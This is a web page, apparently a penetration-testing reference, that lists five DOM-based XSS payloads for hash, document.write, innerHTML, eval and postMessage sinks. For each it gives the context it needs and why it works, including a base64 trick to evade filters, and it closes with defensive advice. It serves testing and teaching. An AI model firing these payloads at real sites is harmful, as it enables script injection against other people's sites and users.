Skip to content

DOM-Based XSS Payloads

5 payloadsFor authorized testing only

DOM-based XSS never touches the server response body. Instead, client-side JavaScript reads an attacker-controlled source (location.hash, the query string, postMessage data) and writes it into a dangerous sink such as innerHTML, document.write or eval. The vulnerability lives entirely in the browser.

Because the payload often travels in the URL fragment, it may never appear in server logs or be seen by a WAF. The payloads below show the typical source-to-sink flows; test them against an authorized target where you control the client code path.

DOM XSS via location hash

URL / fragmentseverity: medium
#<img src=x onerror=alert('XSS')>
Context
URL fragment read by client JavaScript.
What it needs
Client code writes location.hash into innerHTML or a similar sink.
Why it works
The fragment never reaches the server, so it executes purely in the browser.

document.write injection

URL / fragmentseverity: medium
javascript:document.write("<script>alert('XSS')</script>")
Context
URL / value passed to document.write.
What it needs
A sink that forwards user-controlled data into document.write.
Why it works
document.write of a <script> during parsing executes it immediately.

innerHTML breakout

Client-side DOM sinkseverity: medium
"><img src=x onerror=alert("XSS")>
Context
Value assigned to element.innerHTML.
What it needs
User input flows into innerHTML without sanitization.
Why it works
"> breaks out of the current attribute, then the img onerror fires.

eval with base64 encoded payload

HTML bodyseverity: high
<img src=x onerror=eval(atob('YWxlcnQo')+'"XSS")')>
Context
Value reaching eval() or an executed handler.
What it needs
A sink that evaluates attacker data.
Why it works
atob() rebuilds alert( at runtime, dodging static keyword filters.

postMessage XSS vector

JavaScript / JSON stringseverity: medium
<script>window.postMessage("<img src=x onerror=alert('XSS')>","*")</script>
Context
Cross-window message consumed by an onmessage handler.
What it needs
A listener that inserts event.data into the DOM.
Why it works
postMessage delivers markup to a vulnerable handler that innerHTMLs it.

Defense

  • Avoid dangerous sinks: use textContent or safe DOM APIs instead of innerHTML/document.write.
  • Never pass untrusted data to eval, setTimeout(string), Function or document.write.
  • If you must render HTML, sanitize with DOMPurify immediately before insertion.
  • Validate and encode data read from location, postMessage and other client-side sources.

Keep testing